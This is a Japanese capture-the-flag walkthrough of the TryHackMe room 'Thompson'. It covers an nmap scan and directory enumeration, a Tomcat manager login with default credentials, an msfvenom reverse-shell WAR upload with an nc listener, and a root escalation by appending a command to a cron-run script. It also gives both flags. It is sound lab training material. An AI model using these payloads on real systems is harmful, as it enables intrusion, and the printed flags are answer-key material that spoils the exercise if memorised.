【TryHackMe】Thompson：Walkthrough

# 概要

TryHackMe「Thompson」のWalkthroughです。

https://tryhackme.com/r/room/bsidesgtthompson

# Task1

## **Q1**.*user.txt*

`nmap`でポートスキャンを実行します。

```
$ nmap -Pn -sC -A -T4 -sV 10.10.183.192 -oN nmap_result
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-18 06:23 EDT
Nmap scan report for 10.10.183.192
Host is up (0.24s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 fc:05:24:81:98:7e:b8:db:05:92:a6:e7:8e:b0:21:11 (RSA)
|   256 60:c8:40:ab:b0:09:84:3d:46:64:61:13:fa:bc:1f:be (ECDSA)
|_  256 b5:52:7e:9c:01:9b:98:0c:73:59:20:35:ee:23:f1:a5 (ED25519)
8009/tcp open  ajp13   Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8080/tcp open  http    Apache Tomcat 8.5.5
|_http-title: Apache Tomcat/8.5.5
|_http-favicon: Apache Tomcat
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

`ssh:22`,`ajp13:8009`,`http:8080`のポートがオープンだとわかりました。

`http://<ip>:8080`でWebサーバーにアクセスできました。

![web home.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/ada48b54-4660-8c6e-06a4-9f9ca81e1ffe.png)

ポートスキャンやWebページから`Tomcat 8.5.5`が動作していると分かります。

exploitを検索すると`Ghostcat`とい脆弱性を発見しました。

https://www.trendmicro.com/ja_jp/research/20/d/verifying-Ghostcat-the-vulnerabilities-in-Apache-Tomcat-CVE-2020-1938-CNVD-2020-10487.html

この脆弱性を悪用するとファイルアップロード機能があればRCEを実行できそうです。

また、HackTricsも参考に攻撃を試みます。

https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/tomcat


ディレクトリの列挙をします。

```
$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -u http://10.10.183.192:8080/FUZZ
```

```
docs                    [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 238ms]
manager                 [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 398ms]
```

`/manager`にアクセスするとBasic認証が求められました。

![manager basic auth.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/f1bea1ff-b77b-7cef-803d-615f0422421b.png)

認証に失敗した場合のエラー画面で、`Username: tomcat`,`Password: s3cret`と表示されたのでこの認証情報が使えるか試します。

![manaer 401 auth.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/03115adc-b9bf-df5b-4a86-a6bb5ad8208e.png)

上記の認証情報でログインを試すとTomcatの管理画面に入れました。

![tomcat manafer.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/d06e4cfd-73ca-6b44-7fe4-f9cfc5aaf4fe.png)

`Deploy`項目からwarファイルをアップロード出来るので、ここからリバースシェルを試みます。

![Deploy.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/f95eca41-ce7f-cd67-4063-96e7325e9907.png)

`msfvenom`でpayloadファイルを作ります。

```
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
```

`WAR file to deploy`から作成したwarファイルをアップロードします。

Netcatでリッスンします。

```
$ nc -lvnp 1234
```

そして`/revshell/`にアクスするとコネクションが成功しました。

```
whoami
tomcat
```

`/home/jack/user.txt`を閲覧してフラグゲットです。

```
cat /home/jack/user.txt
39400c90bc683a41a8935e4719f181bf
```

**A**.**39400c90bc683a41a8935e4719f181bf**

## **Q2**.*root.txt*

pythonでTTYに接続します。

`python -c 'import pty; pty.spawn("/bin/sh")'`

`/home/jack/id.sh`を見ると、idコマンドを実行して結果を`test.txt`に保存しているようです。

```/home/jack/id.sh
#!/bin/bash
id > test.txt
```

`/home/jack/test.txt`を見ると、rootユーザーのIDが保存されていました。

```/home/jack/test.txt
uid=0(root) gid=0(root) groups=0(root)
```

`/etc/crontab`を確認すると`/home/jack/id.sh`がRootユーザーとして毎分`id.sh`を実行していると分かります。

```
$ cat /etc/crontab
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*  *    * * *   root    cd /home/jack && bash id.sh
#
```

なので`/root`配下にあるフラグファイルを読み込んでファイルに出力する処理を`id.sh`に追記すればフラグを得られそうです。

`id.sh`に`/root/root.txt`の内容を`test.txt`に出力する処理を追記します。

```
$ echo "cat /root/root.txt > test.txt" >> id.sh
```

一分後、`test.txt`にフラグが表示されました。

```
$ cat test.txt
cat test.txt
d89d5391984c0450a95497153ae7ca3a
```

**A**.**d89d5391984c0450a95497153ae7ca3a**